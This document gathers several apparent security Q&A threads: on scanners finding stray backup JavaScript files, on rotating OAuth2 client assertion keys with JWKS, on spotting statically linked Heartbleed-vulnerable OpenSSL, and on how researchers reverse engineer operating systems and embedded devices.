Pen test results for web application include a file from a forbidden directory that is not even used or referenced In a recent pen test of a web application one of the issues found was a 'backup file'. This was a javascript file that was renamed to filename.js1 when an updated version of filename.js was uploaded.

The 'backup file' lives in a directory with forbidden listing and is not referenced or used anywhere in the application.

How did they find this file?

Brute force scanners
Many automated scanners get around banned directory listings by "bruteforce" searching for files. This means that they will check for additional files with names similar to files that do exist (i.e. filename.js1 as well as files that aren't referenced at all (aka secret.txt). If you happen to have a file whose name is on the bruteforced list and is in an accessible directory, then it will be found regardless of whether or not "directory listing" is enabled
It's worth pointing out that hackers do this same thing, so this is a real issue. In general, if something is in a publicly accessible directory, then you should assume it will be found. So if you don't want it to be public then you need to keep it out of public directories - disabling directory listing provides very little security.
Real vulnerabilities
Finally, this may not seem like a large issue (and it probably isn't), but leaving backups of javascript files in public directories is actually a bad idea in general.  When it comes to XSS an attacker will generally have the most success if they are able to exploit a javascript file hosted on the same domain.  This is because doing so gives opportunities to bypass a CSP or other security "firewalls".  As a result, if an older javascript file happened to have a security vulnerability in it that was fixed in a later version, and an attacker found a way to force the user's browser to load the older javascript file, they may chain their way to a more damaging vulnerability.  This may seem far fetched, but chaining together many small vulnerabilities into a larger one is how many of the worst breaches happen.

tl/dr: If something is hosted by your website but doesn't have a
reason to be there, then it is a liability.  Kill it with prejudice.


OAuth2 Client Credentials Flow with assertion JWT: How to share the client's public key? I'm having a deeper look into OAuth 2.0 and especially the Client Credentials Flow that is intended to authenticate a client application or device without user interaction (the client is accessing its own resources, not acting on the behalf of a user).

The current best practices tell me to authenticate a client with an assertion token. In short: instead of a shared secret the client uses an assertion token  to identify itself. This token is created by the client and signed using the private key of a certificate owned by the client. The authentication server needs to know the public key to validate this assession token.

Cyber security guidelines tell me to rotate / cycle secrets regularily. This means that I have to tell the authentication about the new public key.

What am I supposed to do when I want to rotate the secret?

The 2 obvious solutions are:

The client calls the Client Configuration Endpoint at the authentication server and the server adds the new public key to the list of secrets valid for this client.
The client publishes a jwks_endpoint and the server retrieves the new public key directly from the client when none of the registered keys are valid for the token (probably only once, the server can persist the new key in its database).

Both solutions have pros and cons. I cannot see any objectively "best" solution.

Are there any guidelines as to how secret rotation is best implemented? Have I overlooked a third solution?

My main concern is security. I cannot allow a malicious software to register its own secrets or jwks_endpoint at the authentication server or to replace a genuine client at a registered jwks_endpoint. But I cannot allow clients being locked out because their registered secrets expired and for whatever reasons they were not able to register a new secret in time, either.

If the most secure solution takes more time to implement, I'm willing to invest that time. Apart from that, I'd like to reduce network traffic and accelerate the authentication process as much as possible.

There's a related question on StackExchange from 2015 that didn't answer my question.

Using JWKS you put your public key at a known URL:

https://YOUR_DOMAIN/.well-known/jwks.json

  Cyber security guidelines tell me to rotate / cycle secrets regularily.

While I think it is a good idea to be able to rotate your secrets in case they get compromised, I don't think it is uniformly good advice to rotate secrets regularly.  I think it is acceptable to keep the same key pair for several years.


Heartbleed how to find out applications using statically compiled version of openssl? We're analysing issue at work and I wondering how to find out if there's any binary with a statically compiled version of openssl which includes this bug.

Would it be possible to find a fingerprint from the code which contains the bug?

In the OpenSSL code there are several string definitions related to the heartbeat feature:

./ssl/ssl_err.c:{ERR_FUNC(SSL_F_DTLS1_HEARTBEAT),       "DTLS1_HEARTBEAT"},
./ssl/ssl_err.c:{ERR_FUNC(SSL_F_TLS1_HEARTBEAT),        "SSL_F_TLS1_HEARTBEAT"},
./ssl/ssl_err.c:{ERR_REASON(SSL_R_TLS_HEARTBEAT_PEER_DOESNT_ACCEPT),"peer does not accept heartbearts"},
./ssl/ssl_err.c:{ERR_REASON(SSL_R_TLS_HEARTBEAT_PENDING) ,"heartbeat request already pending"},

So the chance is high the you'll find the string heartbeat (ignore case) in the statically compiled program.


How can vulnerability researchers find flaws in OSes / Embedded Systems? Operating Systems and Embedded Systems usually don't come with source code or binaries that one can review.

How can a vulnerability researcher look for flaws in a system (Architecture, Protocols, etc.) without any access to source code?

Obviously, black box research will not produce good enough results.

Your question has many false assumptions, and these are the reason for your confusion.

  An OS doesn't come with source code or binaries.

Yes, it does. Open-Source Operating Systems like Linux come with source code, which is regularly looked at for possible vulnerabilities.

Closed-Source Operating Systems like Windows still come in binary form. If you install your operating system on a hard drive, this hard drive then contains all the code necessary to run the operating system. Furthermore, these binaries come in a specific architecture for the CPUs they are designed to run on. As such, anyone can look at the instructions that the Windows Kernel executes, as long as they have a copy of the operating system.

  Embedded Systems don't come with source code or binaries.

Embedded systems are a bit different than "regular" computers, and require specialized hardware to analyze. For example, to analyze a "custom" chip, researchers could dissolve the chip bit-by-bit and thus reverse engineer how the chip works.

  How can a researcher understand the underlying system?

Reverse engineering is a simple process: You observe the system, using knowledge you acquired analyzing similar systems, and see if you can draw conclusions from that. For example, when looking at communication between two chips, I can see that communication between two chips is always calling first, and the other chip always answer. The "caller" always sends data in a fixed width, while the "responder" sometimes sends data that's 8 bit long, sometimes 16, 32 or 64 bit long. Sometimes the answers are much longer.

Can you guess what the responder is? It's most likely some sort of storage.

As more and more of the communication is being observed, the "protocol" that is used to communicate can be deciphered. It doesn't need to be complete, but it could be observed that the communication is always in this form:

+---------+---------+---------+---------+----------------+------------+
| 2 Bytes | 4 Bytes | 2 Bytes | 8 Bytes | Variable Bytes | 0x00FF00FF |
+---------+---------+---------+---------+----------------+------------+
| Unknown | Unknown | Unknown | Length  | Payload        | EoT        |
+---------+---------+---------+---------+----------------+------------+

While you might not know yet what exactly these bytes mean, you can look at correlations between them. For example, you notice that the 8 bytes denote the length of the payload, followed by the payload, followed by the constant 0x00FF00FF.

This process keeps going, until you can be reasonably sure that the "calls" and "responses" you see all make sense. You can then attempt to insert your own "calls" and see if the responses are what you expect them to be.

  Obviously, black box research will not produce good enough results.

The universe didn't come with a conveniently formatted man page, but we observed how things acted, drew hypotheses from that, made experiments and confirmed those hypotheses.

This allowed us to understand classical mechanics, thermodynamics, fluid mechanics, acoustics, optics and more. None of these things came with documentation, and they were essentially the same as a black box to us.

Reverse Engineering is the same thing. You observe, you hypothesize, you experiment, you succeed.